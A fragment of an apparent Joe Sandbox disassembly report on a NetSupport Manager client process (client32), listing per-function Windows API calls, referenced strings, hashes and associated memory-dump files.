Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateName$ModulePathShort_strrchr
String ID: \\.\$nsmvxd.386$pcdvxd.386
API String ID: 1318148156-3179819359
Opcode ID: 2f41f20b5722acf40c0130390847ae355a62842386f7592ccd3cf37bf6e28cb4
Instruction ID: ccc4368b31194543ced42f6667aa0c2d7b9d0de7acad865b100199d2ac62ce57
Opcode Fuzzy Hash: 2f41f20b5722acf40c0130390847ae355a62842386f7592ccd3cf37bf6e28cb4
Instruction Fuzzy Hash: E431C171A44725AFD724DF64D891B96F7F5EB08708F008168E2B88B6C0D3B1B984CB94

Function 110814F0 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 11081599

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\CTL32\DataStream.cpp, xrefs: 1108150A, 11081528, 1108154F, 1108156C, 110815AF, 110815D6
nBytes>=0, xrefs: 1108152D
IsA(), xrefs: 1108150F, 110815DB
m_nLength>=nBytes, xrefs: 110815B4
pData, xrefs: 11081554
!m_bReadOnly, xrefs: 11081571

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcess_memmovewsprintf
String ID: !m_bReadOnly$..\CTL32\DataStream.cpp$IsA()$m_nLength>=nBytes$nBytes>=0$pData
API String ID: 1528188558-3417006389
Opcode ID: 5a6dd2cb1ae321d45fdc77f2bd305be133cdcd359d19f74f6fae9b55b02ef328
Instruction ID: bcd891fc28fbbd32a331a23a4691bb25227bcd5c714dc9c047b8a33ad8a1a7bc
Opcode Fuzzy Hash: 5a6dd2cb1ae321d45fdc77f2bd305be133cdcd359d19f74f6fae9b55b02ef328
Instruction Fuzzy Hash: 4B21087DF007626FC311DA96BC51FDBBBA85FE0348F454029E64A17243EA71B600C6A6

Function 11105420 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110543F
EnterCriticalSection.KERNEL32(111F060C), ref: 11105448
GetTickCount.KERNEL32 ref: 1110544E
GetTickCount.KERNEL32 ref: 111054D5
LeaveCriticalSection.KERNEL32(111F060C), ref: 111054DE

Strings

Warning. simap lock held for %d ms, xrefs: 111054F1
Warning. took %d ms to get simap lock, xrefs: 1110545A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CriticalSection$EnterLeave
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 956672424-625438208
Opcode ID: d02c5f874049aedfdaab212aa8ce20a9622e81c413980f443b3a686a6aaa7cc8
Instruction ID: 64ddf6fa83837c79953b1455a65c42fcbb04bb5d8fc8451291b68bd15a81fe34
Opcode Fuzzy Hash: d02c5f874049aedfdaab212aa8ce20a9622e81c413980f443b3a686a6aaa7cc8
Instruction Fuzzy Hash: 7A21A174F012999FE785CF74C988FA9FFD29B8532DF5740A8D009CB261E620D844CB41

Function 11031660 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Kernel32.dll,59FD48C0,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 11031692
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,1117F5B8,000000FF,?,1103176B), ref: 110316D0
GetProcAddress.KERNEL32(00000000,ProcessIdToSessionId), ref: 110316DE
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,1117F5B8,000000FF,?,1103176B), ref: 110316F6
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000000,1117F5B8,000000FF,?,1103176B), ref: 11031704

Strings

ProcessIdToSessionId, xrefs: 110316D6
Kernel32.dll, xrefs: 1103168A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCurrentErrorFreeLastLoadProcProcess
String ID: Kernel32.dll$ProcessIdToSessionId
API String ID: 1613046405-2825297712
Opcode ID: 9f5e3f42544bddd3b0145a119ee7f19b5a2311e828379e2299be25163ccbbf9a
Instruction ID: 0197efecc3baa36c0bc3c0ad206dfbbb851aeab291dc6baa74a0747e288254c4
Opcode Fuzzy Hash: 9f5e3f42544bddd3b0145a119ee7f19b5a2311e828379e2299be25163ccbbf9a
Instruction Fuzzy Hash: C421BEB1D25269AFCB04DFA9D984AAEFFB8FB4CA11F10412BF421E3244D7B419018B90

Function 11017450 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67libraryloaderCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,59FD48C0,1102FCB2,00000000), ref: 1101747E
LoadLibraryA.KERNEL32(Kernel32.dll), ref: 1101748E
GetProcAddress.KERNEL32(00000000,QueueUserWorkItem), ref: 110174D2
SetLastError.KERNEL32(00000078), ref: 110174ED
FreeLibrary.KERNEL32(00000000), ref: 110174F8

Strings

QueueUserWorkItem, xrefs: 110174C9
Kernel32.dll, xrefs: 11017484

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateErrorEventFreeLastLoadProc
String ID: Kernel32.dll$QueueUserWorkItem
API String ID: 4285663087-4150702566
Opcode ID: 73aa0e1935fa4bf5c5b602c48ad883a9c71c6c5c78e1718474ad12d225268118
Instruction ID: a9f0235e3cef9bf437ca1ce1440a094b1b6e254119b036fab730dd1316c19a2b
Opcode Fuzzy Hash: 73aa0e1935fa4bf5c5b602c48ad883a9c71c6c5c78e1718474ad12d225268118
Instruction Fuzzy Hash: F021D5B1D65678EBCB10CFA9D988A9EFFB8FB49B10F10411BF421A2244DBB445008B91

Function 11027780 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11144BD0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
Part of subcall function 11144BD0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

wsprintfA.USER32 ref: 110277AE

Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1110F4CB,76968400,?), ref: 111432C7
Part of subcall function 11143230: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 111432E7
Part of subcall function 11143230: CloseHandle.KERNEL32(00000000), ref: 111432EF

wsprintfA.USER32 ref: 110277D8
ShellExecuteA.SHELL32(00000000,open,?,/EM,00000000,00000001), ref: 1102782B

Strings

"%sWINSTALL.EXE", xrefs: 110277A8
/EM, xrefs: 11027818
open, xrefs: 11027824
"%sWINST32.EXE", xrefs: 110277D2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateFolderPathwsprintf$CloseExecuteHandleModuleNameShell
String ID: "%sWINST32.EXE"$"%sWINSTALL.EXE"$/EM$open
API String ID: 816263943-3387570681
Opcode ID: 0c6371de7803de7a4a3dd9fa395c175fba27eeb06d18d193ba4ca93d1482e223
Instruction ID: b7008939c9ec8d9c06a6859de4cfcca3004c8f6374e2649cbbd7cd794522c2fd
Opcode Fuzzy Hash: 0c6371de7803de7a4a3dd9fa395c175fba27eeb06d18d193ba4ca93d1482e223
Instruction Fuzzy Hash: 0C11E7B4A0121EABDB10EBB59C85FAEB3A8AF4470CF5001E9E91597581EB71B900CB91

Function 11091620 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 11145440: _memset.LIBCMT ref: 11145485
Part of subcall function 11145440: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
Part of subcall function 11145440: LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
Part of subcall function 11145440: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
Part of subcall function 11145440: FreeLibrary.KERNEL32(00000000), ref: 111454EF
Part of subcall function 11145440: GetSystemDefaultLangID.KERNEL32 ref: 111454FA

CreateWindowExA.USER32(00000000,NSMClassList,00000000,00000000), ref: 1109166D
UpdateWindow.USER32(?), ref: 110916BF

Strings

E:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110916A9
NSMClassList, xrefs: 11091667
m_hWnd || !"FindClass Window failed to create", xrefs: 11091684
findclass.cpp, xrefs: 1109167F
m_hWnd, xrefs: 110916AE

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryWindow$AddressCreateDefaultFreeLangLoadProcSystemUpdateVersion_memset
String ID: E:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$NSMClassList$findclass.cpp$m_hWnd$m_hWnd || !"FindClass Window failed to create"
API String ID: 2732523160-3743713504
Opcode ID: 3ed2b513fa75c425ddb4287c1f3f8ec767a5c677f8c57cd9371fb6cf693f00a0
Instruction ID: 4079d7ea69e215604455db4dd5849739ae81fed9d6595959b1e7783e66955440
Opcode Fuzzy Hash: 3ed2b513fa75c425ddb4287c1f3f8ec767a5c677f8c57cd9371fb6cf693f00a0
Instruction Fuzzy Hash: 23012D39F4030AB7E3109656EC41FA7F7D89B84728F248034FA1DEA680E670F410C795

Function 1115F100 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetForegroundWindow.USER32(?), ref: 1115F12E

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

SystemParametersInfoA.USER32(00002000,00000000,00000000,00000000), ref: 1115F14F
SystemParametersInfoA.USER32(00002001,00000000,00000000,00000000), ref: 1115F15C
SetForegroundWindow.USER32(?), ref: 1115F162
SystemParametersInfoA.USER32(00002001,00000000,00000000,00000000), ref: 1115F177

Strings

..\ctl32\wndclass.cpp, xrefs: 1115F112
m_hWnd, xrefs: 1115F117

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoParametersSystem$ForegroundWindow$ErrorExitLastMessageProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$m_hWnd
API String ID: 3960414890-2201682149
Opcode ID: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction ID: 490c9e9faa58dc1df28f1acf4c3aa341e93c1bd023cf24429d0d7fa3412acb83
Opcode Fuzzy Hash: a1720cd828d96b31de3ae11535927becd6a6cc7cf2a6108b9844e59effaa0828
Instruction Fuzzy Hash: 8F01F276790318BBE30096A9CC86F55F398EB54B14F104126F718AA1C0DAF1B851C7E1

Function 11003380 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFF), ref: 1100338E
GetSubMenu.USER32(00000000,00000000), ref: 110033BA
GetSubMenu.USER32(00000000,00000000), ref: 110033DC
DestroyMenu.USER32(00000000), ref: 110033EA

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 110033CC
..\CTL32\annotate.cpp, xrefs: 1100339F, 110033C7
hMenu, xrefs: 110033A4

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction ID: f68e039685e14a294959d37ff9e7a7cb7630811a32528fcef7aaec2fda1b7dd6
Opcode Fuzzy Hash: 8af01ad4efa7446add9b372c4420e91d6a3bebcd66f8e1993f70f2b692afa4a5
Instruction Fuzzy Hash: 2FF0E93AF8466933E312A1F53C85F5BE74C9B515ECF450031F528EAA80EE54A80041AA

Function 11003290 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 37windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF9), ref: 1100329D
GetSubMenu.USER32(00000000,00000000), ref: 110032C3
GetMenuItemCount.USER32(00000000), ref: 110032E7
DestroyMenu.USER32(00000000), ref: 110032F9

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 110032D9
..\CTL32\annotate.cpp, xrefs: 110032AE, 110032D4
hMenu, xrefs: 110032B3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$CountDestroyErrorExitItemLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 4241058051-934300333
Opcode ID: f8a0d47e41078153cbecec3a6fa3cf51a8fd2ba3eb994fe06476dedbffd054b5
Instruction ID: ea916ae31ccda8615c5aa97c2145fcab3b24ed556d1c3993920dd856584db00e
Opcode Fuzzy Hash: f8a0d47e41078153cbecec3a6fa3cf51a8fd2ba3eb994fe06476dedbffd054b5
Instruction Fuzzy Hash: F8F02E3EE945BA73D31266F53C0DF8BFA584F526ACB060030F434FA645EE14A40081A6

Function 11119160 Relevance: 12.2, APIs: 8, Instructions: 209COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,00000000), ref: 11119200
ClientToScreen.USER32(?,?), ref: 11119241
GetCursorPos.USER32(?), ref: 111192A1
GetTickCount.KERNEL32 ref: 111192B6
GetTickCount.KERNEL32 ref: 11119337
WindowFromPoint.USER32(?,?,?,?), ref: 1111939A
WindowFromPoint.USER32(000000FF,?), ref: 111193AE
SetCursorPos.USER32(000000FF,?,?,?), ref: 111193C2

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
